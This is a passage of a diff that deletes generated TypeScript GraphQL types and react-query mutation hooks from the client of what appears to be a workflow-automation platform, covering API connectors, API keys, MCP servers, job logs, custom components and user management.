-}>;
-
-
-export type ConnectedUserProjectsQuery = { __typename?: 'Query', connectedUserProjects: Array<{ __typename?: 'ConnectedUserProject', id: string, environmentId: string, lastExecutionDate?: string | null, projectId: string, projectVersion?: number | null, connectedUser: { __typename?: 'ConnectedUser', id: string, environmentId: string, externalId: string }, connectedUserProjectWorkflows: Array<{ __typename?: 'ConnectedUserProjectWorkflow', id: string, connectedUserId: string, enabled: boolean, lastExecutionDate?: string | null, projectId: string, workflowUuid: string, workflowVersion: number, workflow: { __typename?: 'Workflow', id: string, label: string, triggers: Array<{ __typename?: 'WorkflowTrigger', name: string, type: string, parameters?: any | null }> } }> }> };
-
-export type IntegrationByIdQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type IntegrationByIdQuery = { __typename?: 'Query', integration?: { __typename?: 'Integration', id: string, name: string } | null };
-
-export type ApiConnectorQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type ApiConnectorQuery = { __typename?: 'Query', apiConnector?: { __typename?: 'ApiConnector', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, connectorVersion: number, enabled?: boolean | null, specification?: string | null, definition?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null, endpoints?: Array<{ __typename?: 'ApiConnectorEndpoint', id: string, name: string, description?: string | null, path?: string | null, httpMethod?: HttpMethod | null }> | null } | null };
-
-export type ApiConnectorsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type ApiConnectorsQuery = { __typename?: 'Query', apiConnectors: Array<{ __typename?: 'ApiConnector', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, connectorVersion: number, enabled?: boolean | null, specification?: string | null, definition?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null, endpoints?: Array<{ __typename?: 'ApiConnectorEndpoint', id: string, name: string, description?: string | null, path?: string | null, httpMethod?: HttpMethod | null }> | null }> };
-
-export type CancelGenerationJobMutationVariables = Exact<{
-  jobId: Scalars['String']['input'];
-}>;
-
-
-export type CancelGenerationJobMutation = { __typename?: 'Mutation', cancelGenerationJob: boolean };
-
-export type CreateApiConnectorMutationVariables = Exact<{
-  input: CreateApiConnectorInput;
-}>;
-
-
-export type CreateApiConnectorMutation = { __typename?: 'Mutation', createApiConnector: { __typename?: 'ApiConnector', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, connectorVersion: number, enabled?: boolean | null, specification?: string | null, definition?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null, endpoints?: Array<{ __typename?: 'ApiConnectorEndpoint', id: string, name: string, description?: string | null, path?: string | null, httpMethod?: HttpMethod | null }> | null } };
-
-export type DeleteApiConnectorMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type DeleteApiConnectorMutation = { __typename?: 'Mutation', deleteApiConnector: boolean };
-
-export type EnableApiConnectorMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  enable: Scalars['Boolean']['input'];
-}>;
-
-
-export type EnableApiConnectorMutation = { __typename?: 'Mutation', enableApiConnector: boolean };
-
-export type GenerateSpecificationMutationVariables = Exact<{
-  input: GenerateSpecificationInput;
-}>;
-
-
-export type GenerateSpecificationMutation = { __typename?: 'Mutation', generateSpecification: { __typename?: 'GenerateSpecificationResponse', specification?: string | null } };
-
-export type GenerationJobStatusQueryVariables = Exact<{
-  jobId: Scalars['String']['input'];
-}>;
-
-
-export type GenerationJobStatusQuery = { __typename?: 'Query', generationJobStatus?: { __typename?: 'GenerationJobStatus', jobId: string, status: GenerationJobStatusEnum, specification?: string | null, errorMessage?: string | null } | null };
-
-export type ImportOpenApiSpecificationMutationVariables = Exact<{
-  input: ImportOpenApiSpecificationInput;
-}>;
-
-
-export type ImportOpenApiSpecificationMutation = { __typename?: 'Mutation', importOpenApiSpecification: { __typename?: 'ApiConnector', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, connectorVersion: number, enabled?: boolean | null, specification?: string | null, definition?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null, endpoints?: Array<{ __typename?: 'ApiConnectorEndpoint', id: string, name: string, description?: string | null, path?: string | null, httpMethod?: HttpMethod | null }> | null } };
-
-export type StartGenerateFromDocumentationPreviewMutationVariables = Exact<{
-  input: GenerateFromDocumentationInput;
-}>;
-
-
-export type StartGenerateFromDocumentationPreviewMutation = { __typename?: 'Mutation', startGenerateFromDocumentationPreview: { __typename?: 'GenerationJobStatus', jobId: string, status: GenerationJobStatusEnum, specification?: string | null, errorMessage?: string | null } };
-
-export type UpdateApiConnectorMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  input: UpdateApiConnectorInput;
-}>;
-
-
-export type UpdateApiConnectorMutation = { __typename?: 'Mutation', updateApiConnector: { __typename?: 'ApiConnector', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, connectorVersion: number, enabled?: boolean | null, specification?: string | null, definition?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null, endpoints?: Array<{ __typename?: 'ApiConnectorEndpoint', id: string, name: string, description?: string | null, path?: string | null, httpMethod?: HttpMethod | null }> | null } };
-
-export type EditorJobFileLogsQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-  filter?: InputMaybe<LogFilterInput>;
-  page?: InputMaybe<Scalars['Int']['input']>;
-  size?: InputMaybe<Scalars['Int']['input']>;
-}>;
-
-
-export type EditorJobFileLogsQuery = { __typename?: 'Query', editorJobFileLogs: { __typename?: 'LogPage', totalElements: number, totalPages: number, pageNumber: number, pageSize: number, hasNext: boolean, hasPrevious: boolean, content: Array<{ __typename?: 'LogEntry', timestamp: string, level: LogLevel, componentName: string, componentOperationName?: string | null, taskExecutionId: string, message: string, exceptionType?: string | null, exceptionMessage?: string | null, stackTrace?: string | null }> } };
-
-export type EditorJobFileLogsExistQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-}>;
-
-
-export type EditorJobFileLogsExistQuery = { __typename?: 'Query', editorJobFileLogsExist: boolean };
-
-export type EditorTaskExecutionFileLogsQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-  taskExecutionId: Scalars['ID']['input'];
-}>;
-
-
-export type EditorTaskExecutionFileLogsQuery = { __typename?: 'Query', editorTaskExecutionFileLogs: Array<{ __typename?: 'LogEntry', timestamp: string, level: LogLevel, componentName: string, componentOperationName?: string | null, taskExecutionId: string, message: string, exceptionType?: string | null, exceptionMessage?: string | null, stackTrace?: string | null }> };
-
-export type JobFileLogsQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-  filter?: InputMaybe<LogFilterInput>;
-  page?: InputMaybe<Scalars['Int']['input']>;
-  size?: InputMaybe<Scalars['Int']['input']>;
-}>;
-
-
-export type JobFileLogsQuery = { __typename?: 'Query', jobFileLogs: { __typename?: 'LogPage', totalElements: number, totalPages: number, pageNumber: number, pageSize: number, hasNext: boolean, hasPrevious: boolean, content: Array<{ __typename?: 'LogEntry', timestamp: string, level: LogLevel, componentName: string, componentOperationName?: string | null, taskExecutionId: string, message: string, exceptionType?: string | null, exceptionMessage?: string | null, stackTrace?: string | null }> } };
-
-export type JobFileLogsExistQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-}>;
-
-
-export type JobFileLogsExistQuery = { __typename?: 'Query', jobFileLogsExist: boolean };
-
-export type TaskExecutionFileLogsQueryVariables = Exact<{
-  jobId: Scalars['ID']['input'];
-  taskExecutionId: Scalars['ID']['input'];
-}>;
-
-
-export type TaskExecutionFileLogsQuery = { __typename?: 'Query', taskExecutionFileLogs: Array<{ __typename?: 'LogEntry', timestamp: string, level: LogLevel, componentName: string, componentOperationName?: string | null, taskExecutionId: string, message: string, exceptionType?: string | null, exceptionMessage?: string | null, stackTrace?: string | null }> };
-
-export type AdminApiKeysQueryVariables = Exact<{
-  environmentId: Scalars['ID']['input'];
-}>;
-
-
-export type AdminApiKeysQuery = { __typename?: 'Query', adminApiKeys?: Array<{ __typename?: 'ApiKey', id?: string | null, name?: string | null, secretKey?: string | null, lastUsedDate?: any | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null } | null> | null };
-
-export type ApiKeysQueryVariables = Exact<{
-  environmentId: Scalars['ID']['input'];
-  type: PlatformType;
-}>;
-
-
-export type ApiKeysQuery = { __typename?: 'Query', apiKeys?: Array<{ __typename?: 'ApiKey', id?: string | null, name?: string | null, secretKey?: string | null, lastUsedDate?: any | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null } | null> | null };
-
-export type ClusterElementComponentConnectionsQueryVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-}>;
-
-
-export type ClusterElementComponentConnectionsQuery = { __typename?: 'Query', clusterElementComponentConnections: Array<{ __typename?: 'ComponentConnection', componentName: string, componentVersion: number, key: string, required: boolean, workflowNodeName: string }> };
-
-export type ClusterElementScriptInputQueryVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-}>;
-
-
-export type ClusterElementScriptInputQuery = { __typename?: 'Query', clusterElementScriptInput?: any | null };
-
-export type ComponentDefinitionSearchQueryVariables = Exact<{
-  query: Scalars['String']['input'];
-}>;
-
-
-export type ComponentDefinitionSearchQuery = { __typename?: 'Query', componentDefinitionSearch: Array<{ __typename?: 'ComponentDefinition', name: string, title?: string | null, icon?: string | null, description?: string | null, version?: number | null, actionsCount?: number | null, triggersCount?: number | null, clusterElementsCount?: any | null, componentCategories?: Array<{ __typename?: 'ComponentCategory', name: string, label?: string | null }> | null, actions?: Array<{ __typename?: 'ActionDefinition', name: string, title?: string | null, description?: string | null }> | null, triggers?: Array<{ __typename?: 'TriggerDefinition', name: string, title?: string | null, description?: string | null }> | null, clusterElements?: Array<{ __typename?: 'ClusterElementDefinition', type?: { __typename?: 'ClusterElementType', name?: string | null, label?: string | null } | null }> | null }> };
-
-export type CreateApiKeyMutationVariables = Exact<{
-  name: Scalars['String']['input'];
-  environmentId: Scalars['ID']['input'];
-  type?: InputMaybe<PlatformType>;
-}>;
-
-
-export type CreateApiKeyMutation = { __typename?: 'Mutation', createApiKey: string };
-
-export type CreateMcpComponentMutationVariables = Exact<{
-  input: McpComponentInput;
-}>;
-
-
-export type CreateMcpComponentMutation = { __typename?: 'Mutation', createMcpComponent?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null } | null };
-
-export type CreateMcpComponentWithToolsMutationVariables = Exact<{
-  input: McpComponentWithToolsInput;
-}>;
-
-
-export type CreateMcpComponentWithToolsMutation = { __typename?: 'Mutation', createMcpComponentWithTools?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null } | null };
-
-export type CreateMcpToolMutationVariables = Exact<{
-  input: McpToolInput;
-}>;
-
-
-export type CreateMcpToolMutation = { __typename?: 'Mutation', createMcpTool?: { __typename?: 'McpTool', id: string, name: string, mcpComponentId: string, parameters?: any | null } | null };
-
-export type DeleteApiKeyMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type DeleteApiKeyMutation = { __typename?: 'Mutation', deleteApiKey: boolean };
-
-export type DeleteMcpComponentMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type DeleteMcpComponentMutation = { __typename?: 'Mutation', deleteMcpComponent?: boolean | null };
-
-export type EnvironmentsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type EnvironmentsQuery = { __typename?: 'Query', environments?: Array<{ __typename?: 'Environment', id: string, name: string } | null> | null };
-
-export type ManagementMcpServerUrlQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type ManagementMcpServerUrlQuery = { __typename?: 'Query', managementMcpServerUrl?: string | null };
-
-export type McpComponentsByServerIdQueryVariables = Exact<{
-  mcpServerId: Scalars['ID']['input'];
-}>;
-
-
-export type McpComponentsByServerIdQuery = { __typename?: 'Query', mcpComponentsByServerId?: Array<{ __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, connectionId?: string | null, mcpServerId: string, version?: number | null, mcpTools?: Array<{ __typename?: 'McpTool', id: string, mcpComponentId: string, name: string } | null> | null } | null> | null };
-
-export type McpServerTagsQueryVariables = Exact<{
-  type: PlatformType;
-}>;
-
-
-export type McpServerTagsQuery = { __typename?: 'Query', mcpServerTags?: Array<{ __typename?: 'Tag', id: string, name: string } | null> | null };
-
-export type McpServersQueryVariables = Exact<{
-  type: PlatformType;
-}>;
-
-
-export type McpServersQuery = { __typename?: 'Query', mcpServers?: Array<{ __typename?: 'McpServer', id: string, name: string, type: PlatformType, environmentId: string, enabled: boolean, secretKey: string, lastModifiedDate?: any | null, mcpComponents?: Array<{ __typename?: 'McpComponent', id: string, mcpServerId: string, componentName: string, componentVersion: number } | null> | null, tags?: Array<{ __typename?: 'Tag', id: string, name: string } | null> | null } | null> | null };
-
-export type McpToolsByComponentIdQueryVariables = Exact<{
-  mcpComponentId: Scalars['ID']['input'];
-}>;
-
-
-export type McpToolsByComponentIdQuery = { __typename?: 'Query', mcpToolsByComponentId?: Array<{ __typename?: 'McpTool', id: string, name: string, mcpComponentId: string, parameters?: any | null } | null> | null };
-
-export type SaveClusterElementTestConfigurationConnectionMutationVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  workflowConnectionKey: Scalars['String']['input'];
-  connectionId: Scalars['Long']['input'];
-  environmentId: Scalars['Long']['input'];
-}>;
-
-
-export type SaveClusterElementTestConfigurationConnectionMutation = { __typename?: 'Mutation', saveClusterElementTestConfigurationConnection?: boolean | null };
-
-export type SaveWorkflowTestConfigurationConnectionMutationVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  workflowConnectionKey: Scalars['String']['input'];
-  connectionId: Scalars['Long']['input'];
-  environmentId: Scalars['Long']['input'];
-}>;
-
-
-export type SaveWorkflowTestConfigurationConnectionMutation = { __typename?: 'Mutation', saveWorkflowTestConfigurationConnection?: boolean | null };
-
-export type TestClusterElementScriptMutationVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  clusterElementType: Scalars['String']['input'];
-  clusterElementWorkflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-  inputParameters?: InputMaybe<Scalars['Map']['input']>;
-}>;
-
-
-export type TestClusterElementScriptMutation = { __typename?: 'Mutation', testClusterElementScript: { __typename?: 'ScriptTestExecution', output?: any | null, error?: { __typename?: 'ExecutionError', message?: string | null, stackTrace?: Array<string | null> | null } | null } };
-
-export type TestWorkflowNodeScriptMutationVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-  inputParameters?: InputMaybe<Scalars['Map']['input']>;
-}>;
-
-
-export type TestWorkflowNodeScriptMutation = { __typename?: 'Mutation', testWorkflowNodeScript: { __typename?: 'ScriptTestExecution', output?: any | null, error?: { __typename?: 'ExecutionError', message?: string | null, stackTrace?: Array<string | null> | null } | null } };
-
-export type UpdateApiKeyMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  name: Scalars['String']['input'];
-}>;
-
-
-export type UpdateApiKeyMutation = { __typename?: 'Mutation', updateApiKey: boolean };
-
-export type UpdateManagementMcpServerUrlMutationVariables = Exact<{ [key: string]: never; }>;
-
-
-export type UpdateManagementMcpServerUrlMutation = { __typename?: 'Mutation', updateManagementMcpServerUrl: string };
-
-export type UpdateMcpComponentWithToolsMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  input: McpComponentWithToolsInput;
-}>;
-
-
-export type UpdateMcpComponentWithToolsMutation = { __typename?: 'Mutation', updateMcpComponentWithTools?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null } | null };
-
-export type UpdateMcpServerUrlMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type UpdateMcpServerUrlMutation = { __typename?: 'Mutation', updateMcpServerUrl: string };
-
-export type WorkflowNodeComponentConnectionsQueryVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-}>;
-
-
-export type WorkflowNodeComponentConnectionsQuery = { __typename?: 'Query', workflowNodeComponentConnections: Array<{ __typename?: 'ComponentConnection', componentName: string, componentVersion: number, key: string, required: boolean, workflowNodeName: string }> };
-
-export type WorkflowNodeScriptInputQueryVariables = Exact<{
-  workflowId: Scalars['String']['input'];
-  workflowNodeName: Scalars['String']['input'];
-  environmentId: Scalars['Long']['input'];
-}>;
-
-
-export type WorkflowNodeScriptInputQuery = { __typename?: 'Query', workflowNodeScriptInput?: any | null };
-
-export type CustomComponentQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type CustomComponentQuery = { __typename?: 'Query', customComponent?: { __typename?: 'CustomComponent', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, componentVersion?: number | null, enabled?: boolean | null, language?: CustomComponentLanguage | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null } | null };
-
-export type CustomComponentDefinitionQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type CustomComponentDefinitionQuery = { __typename?: 'Query', customComponentDefinition?: { __typename?: 'CustomComponentDefinition', actions: Array<{ __typename?: 'CustomComponentActionDefinition', name: string, title?: string | null, description?: string | null }>, triggers: Array<{ __typename?: 'CustomComponentTriggerDefinition', name: string, title?: string | null, description?: string | null }> } | null };
-
-export type CustomComponentsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type CustomComponentsQuery = { __typename?: 'Query', customComponents: Array<{ __typename?: 'CustomComponent', id: string, name: string, title?: string | null, description?: string | null, icon?: string | null, componentVersion?: number | null, enabled?: boolean | null, language?: CustomComponentLanguage | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null }> };
-
-export type DeleteCustomComponentMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
-
-
-export type DeleteCustomComponentMutation = { __typename?: 'Mutation', deleteCustomComponent: boolean };
-
-export type EnableCustomComponentMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  enable: Scalars['Boolean']['input'];
-}>;
-
-
-export type EnableCustomComponentMutation = { __typename?: 'Mutation', enableCustomComponent: boolean };
-
-export type AuthoritiesQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type AuthoritiesQuery = { __typename?: 'Query', authorities: Array<string> };
-
-export type DeleteUserMutationVariables = Exact<{
-  login: Scalars['String']['input'];
-}>;
-
-
-export type DeleteUserMutation = { __typename?: 'Mutation', deleteUser: boolean };
-
-export type InviteUserMutationVariables = Exact<{
-  email: Scalars['String']['input'];
-  password: Scalars['String']['input'];
-  role: Scalars['String']['input'];
-}>;
-
-
-export type InviteUserMutation = { __typename?: 'Mutation', inviteUser: boolean };
-
-export type UpdateUserMutationVariables = Exact<{
-  login: Scalars['String']['input'];
-  role: Scalars['String']['input'];
-}>;
-
-
-export type UpdateUserMutation = { __typename?: 'Mutation', updateUser: { __typename?: 'AdminUser', id?: string | null, login?: string | null, email?: string | null, firstName?: string | null, lastName?: string | null, activated?: boolean | null, authorities?: Array<string | null> | null } };
-
-export type UsersQueryVariables = Exact<{
-  pageNumber?: InputMaybe<Scalars['Int']['input']>;
-  pageSize?: InputMaybe<Scalars['Int']['input']>;
-}>;
-
-
-export type UsersQuery = { __typename?: 'Query', users?: { __typename?: 'AdminUserPage', number: number, size: number, totalElements: number, totalPages: number, content: Array<{ __typename?: 'AdminUser', id?: string | null, login?: string | null, email?: string | null, firstName?: string | null, lastName?: string | null, activated?: boolean | null, authorities?: Array<string | null> | null } | null> } | null };
-
-
-
-export const CreateMcpProjectDocument = `
-    mutation createMcpProject($input: CreateMcpProjectInput!) {
-  createMcpProject(input: $input) {
-    id
-    mcpServerId
-    projectDeploymentId
-    projectVersion
-  }
-}
-    `;
-
-export const useCreateMcpProjectMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateMcpProjectMutation, TError, CreateMcpProjectMutationVariables, TContext>) => {
-    
-    return useMutation<CreateMcpProjectMutation, TError, CreateMcpProjectMutationVariables, TContext>(
-      {
-    mutationKey: ['createMcpProject'],
-    mutationFn: (variables?: CreateMcpProjectMutationVariables) => fetcher<CreateMcpProjectMutation, CreateMcpProjectMutationVariables>(CreateMcpProjectDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const CreateWorkspaceApiKeyDocument = `
-    mutation createWorkspaceApiKey($workspaceId: ID!, $name: String!, $environmentId: ID!) {
-  createWorkspaceApiKey(
-    workspaceId: $workspaceId
-    name: $name
-    environmentId: $environmentId
-  )
-}
-    `;
-
-export const useCreateWorkspaceApiKeyMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateWorkspaceApiKeyMutation, TError, CreateWorkspaceApiKeyMutationVariables, TContext>) => {
-    
-    return useMutation<CreateWorkspaceApiKeyMutation, TError, CreateWorkspaceApiKeyMutationVariables, TContext>(
-      {
-    mutationKey: ['createWorkspaceApiKey'],
-    mutationFn: (variables?: CreateWorkspaceApiKeyMutationVariables) => fetcher<CreateWorkspaceApiKeyMutation, CreateWorkspaceApiKeyMutationVariables>(CreateWorkspaceApiKeyDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const CreateMcpServerDocument = `
-    mutation createMcpServer($input: CreateWorkspaceMcpServerInput!) {
-  createWorkspaceMcpServer(input: $input) {
-    id
-    name
-    type
-    environmentId
-    enabled
-  }
-}
-    `;
-
-export const useCreateMcpServerMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateMcpServerMutation, TError, CreateMcpServerMutationVariables, TContext>) => {
-    
-    return useMutation<CreateMcpServerMutation, TError, CreateMcpServerMutationVariables, TContext>(
-      {
-    mutationKey: ['createMcpServer'],
-    mutationFn: (variables?: CreateMcpServerMutationVariables) => fetcher<CreateMcpServerMutation, CreateMcpServerMutationVariables>(CreateMcpServerDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteMcpProjectDocument = `
-    mutation deleteMcpProject($id: ID!) {
-  deleteMcpProject(id: $id)
-}
-    `;
-
-export const useDeleteMcpProjectMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteMcpProjectMutation, TError, DeleteMcpProjectMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteMcpProjectMutation, TError, DeleteMcpProjectMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteMcpProject'],
-    mutationFn: (variables?: DeleteMcpProjectMutationVariables) => fetcher<DeleteMcpProjectMutation, DeleteMcpProjectMutationVariables>(DeleteMcpProjectDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteSharedProjectDocument = `
-    mutation deleteSharedProject($id: ID!) {
-  deleteSharedProject(id: $id)
-}
-    `;
-
-export const useDeleteSharedProjectMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteSharedProjectMutation, TError, DeleteSharedProjectMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteSharedProjectMutation, TError, DeleteSharedProjectMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteSharedProject'],
-    mutationFn: (variables?: DeleteSharedProjectMutationVariables) => fetcher<DeleteSharedProjectMutation, DeleteSharedProjectMutationVariables>(DeleteSharedProjectDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteSharedWorkflowDocument = `
-    mutation deleteSharedWorkflow($workflowId: String!) {
-  deleteSharedWorkflow(workflowId: $workflowId)
-}
-    `;
-
-export const useDeleteSharedWorkflowMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteSharedWorkflowMutation, TError, DeleteSharedWorkflowMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteSharedWorkflowMutation, TError, DeleteSharedWorkflowMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteSharedWorkflow'],
-    mutationFn: (variables?: DeleteSharedWorkflowMutationVariables) => fetcher<DeleteSharedWorkflowMutation, DeleteSharedWorkflowMutationVariables>(DeleteSharedWorkflowDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteWorkspaceApiKeyDocument = `
-    mutation deleteWorkspaceApiKey($apiKeyId: ID!) {
-  deleteWorkspaceApiKey(apiKeyId: $apiKeyId)
-}
-    `;
-
-export const useDeleteWorkspaceApiKeyMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteWorkspaceApiKeyMutation, TError, DeleteWorkspaceApiKeyMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteWorkspaceApiKeyMutation, TError, DeleteWorkspaceApiKeyMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteWorkspaceApiKey'],
-    mutationFn: (variables?: DeleteWorkspaceApiKeyMutationVariables) => fetcher<DeleteWorkspaceApiKeyMutation, DeleteWorkspaceApiKeyMutationVariables>(DeleteWorkspaceApiKeyDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteWorkspaceMcpServerDocument = `
-    mutation deleteWorkspaceMcpServer($id: ID!) {
-  deleteWorkspaceMcpServer(mcpServerId: $id)
-}
-    `;
-
-export const useDeleteWorkspaceMcpServerMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteWorkspaceMcpServerMutation, TError, DeleteWorkspaceMcpServerMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteWorkspaceMcpServerMutation, TError, DeleteWorkspaceMcpServerMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteWorkspaceMcpServer'],
-    mutationFn: (variables?: DeleteWorkspaceMcpServerMutationVariables) => fetcher<DeleteWorkspaceMcpServerMutation, DeleteWorkspaceMcpServerMutationVariables>(DeleteWorkspaceMcpServerDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DisconnectConnectionDocument = `
-    mutation DisconnectConnection($connectionId: ID!) {
-  disconnectConnection(connectionId: $connectionId)
-}
-    `;
-
-export const useDisconnectConnectionMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DisconnectConnectionMutation, TError, DisconnectConnectionMutationVariables, TContext>) => {
-    
-    return useMutation<DisconnectConnectionMutation, TError, DisconnectConnectionMutationVariables, TContext>(
-      {
-    mutationKey: ['DisconnectConnection'],
-    mutationFn: (variables?: DisconnectConnectionMutationVariables) => fetcher<DisconnectConnectionMutation, DisconnectConnectionMutationVariables>(DisconnectConnectionDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const ExportSharedProjectDocument = `
-    mutation exportSharedProject($id: ID!, $description: String) {
-  exportSharedProject(id: $id, description: $description)
-}
-    `;
-
-export const useExportSharedProjectMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<ExportSharedProjectMutation, TError, ExportSharedProjectMutationVariables, TContext>) => {
-    
-    return useMutation<ExportSharedProjectMutation, TError, ExportSharedProjectMutationVariables, TContext>(
-      {
-    mutationKey: ['exportSharedProject'],
-    mutationFn: (variables?: ExportSharedProjectMutationVariables) => fetcher<ExportSharedProjectMutation, ExportSharedProjectMutationVariables>(ExportSharedProjectDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const ExportSharedWorkflowDocument = `
-    mutation exportSharedWorkflow($workflowId: String!, $description: String) {
-  exportSharedWorkflow(workflowId: $workflowId, description: $description)
-}
-    `;
-
-export const useExportSharedWorkflowMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<ExportSharedWorkflowMutation, TError, ExportSharedWorkflowMutationVariables, TContext>) => {
-    
-    return useMutation<ExportSharedWorkflowMutation, TError, ExportSharedWorkflowMutationVariables, TContext>(
-      {
-    mutationKey: ['exportSharedWorkflow'],
-    mutationFn: (variables?: ExportSharedWorkflowMutationVariables) => fetcher<ExportSharedWorkflowMutation, ExportSharedWorkflowMutationVariables>(ExportSharedWorkflowDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const ImportProjectTemplateDocument = `
-    mutation importProjectTemplate($id: String!, $workspaceId: ID!, $sharedProject: Boolean!) {
-  importProjectTemplate(
-    id: $id
-    workspaceId: $workspaceId
-    sharedProject: $sharedProject
-  )
-}
-    `;
-
-export const useImportProjectTemplateMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<ImportProjectTemplateMutation, TError, ImportProjectTemplateMutationVariables, TContext>) => {
-    
-    return useMutation<ImportProjectTemplateMutation, TError, ImportProjectTemplateMutationVariables, TContext>(
-      {
-    mutationKey: ['importProjectTemplate'],
